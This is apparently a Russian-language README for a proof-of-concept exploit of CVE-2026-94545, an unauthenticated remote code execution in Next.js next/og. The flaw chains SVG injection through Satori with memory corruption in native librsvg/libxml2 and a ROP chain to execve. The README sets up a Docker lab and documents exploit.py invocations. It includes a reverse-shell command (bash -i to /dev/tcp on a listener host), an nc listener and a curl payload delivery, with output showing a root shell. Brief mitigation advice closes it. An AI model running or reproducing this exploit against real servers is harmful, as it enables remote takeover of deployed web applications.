
Эксплойт proof-of-concept для CVE-2026-94545 — неаутентифицированное RCE в Next.js next/og через инъекцию SVG и ROP-цепочку против нативного растеризатора sharp.
★ CVE-2026-94545 Next.js next/og инъекция SVG в нативное RCE ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogсоздаёт изображения Open Graph, рендеря JSX в SVG с помощью Satori, а затем растеризуя этот SVG. Satori записывает предоставленный пользователем текст в SVG без экранирования (CWE-116), поэтому запрос может закрыть окружающий элемент и внедрить собственную SVG-разметку. Когда маршрут выполняется в среде Node.js с установленнымsharp, этот SVG растеризуется нативными библиотеками (libvips, librsvg, libxml2), а не изолированным wasm-рендерером. Полезная нагрузка, построенная из ссылки XInclude и вложенных сущностей DTD, повреждает память внутри этого нативного парсера. Официальный бинарник Node.js является non-PIE, поэтому его код и GOT не рандомизированы, и фиксированная ROP-цепочка достигаетexecveбез утечки адреса. Одного неаутентифицированного запроса к маршруту OG-изображения достаточно для выполнения команд от имени процесса сервера.
| Категория | Версия |
|---|---|
| Уязвимые | Next.js 16.2.0 – 16.3.5 (среда Node, sharp присутствует), Satori >=0.0.27 <0.33.5 |
| Исправленные | Next.js 16.3.6 / Satori 0.33.5 или новее |
Затронут только путь среды выполнения Node.js. При
export const runtime = 'edge'или установке безsharpизображение отрисовывается изолированнымresvg-wasm рендерером, и ошибка не приводит к выполнению кода.
ImageResponse, является точкой входа.execve заменяет воркер, поэтому HTTP-запрос просто закрывается, и результат должен вернуться другим способом, например через обратную оболочку или команду, которая связывается с внешним хостом.Минимальное приложение Next.js, воспроизводящее уязвимую конфигурацию. Маршрут /api/og рендерит
ImageResponse в среде Node, а sharp установлен, поэтому используется нативный растеризатор.
Образ фиксирует точный стек, от которого зависит ROP-цепочка (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 с libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). Первая сборка загружает Node, устанавливает
npm-зависимости и запускает next build, что занимает несколько минут.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# проверка работоспособности: безопасный рендер возвращает 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Предусловие | Состояние в этой лаборатории |
|---|---|
| Next.js 16.2.0 – 16.3.5 в среде Node | Next 16.3.5, runtime = 'nodejs' |
sharp установлен, поэтому используется нативный путь librsvg/libxml2 | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE бинарник Node для стабильной базы ROP | официальный Node v24.20.0 linux-x64 (проверено по SHA) |
| Маршрут OG-изображения доступен без аутентификации | GET и POST /api/og, текст запроса попадает в SVG <title> |
| Исходящий путь доступен для обратной оболочки | bash и /dev/tcp присутствуют |
Уязвимый маршрут — POST /api/og. Он принимает тело запроса и помещает его в SVG <title>
перед растеризацией. exploit.py строит этот SVG для выбранной команды, кодирует ROP-цепочку в
<path> и отправляет его на маршрут.
Простейший запуск открывает обратную оболочку. Укажите цель и адрес слушателя; скрипт запустит nc
за вас, отправит запрос и передаст вам оболочку.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
Полезная нагрузка откалибрована под стек, указанный в разделе Окружение, поэтому запускайте её против этого образа или хоста с той же сборкой Node и sharp. Срабатывание заменяет процесс node вашей командой, что означает, что HTTP-запрос закрывается и сервис перестаёт отвечать до перезапуска контейнера.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
Обратная оболочка выполняется от имени процесса сервера, что подтверждает выполнение кода из одного неаутентифицированного запроса. Чтобы выполнить одну команду без слушателя, передайте её напрямую; учтите, что вывод не возвращается по HTTP, поэтому команда должна отправить всё, что вы хотите увидеть, по другому каналу.
# одна команда, без слушателя
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# только собрать полезную нагрузку, затем отправить её самостоятельно
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og на export const runtime = 'edge', чтобы использовался изолированный wasm-рендерер, или удалите sharp, чтобы нативный путь не достигался, и не допускайте несанитизированный пользовательский ввод в дочерние элементы ImageResponse.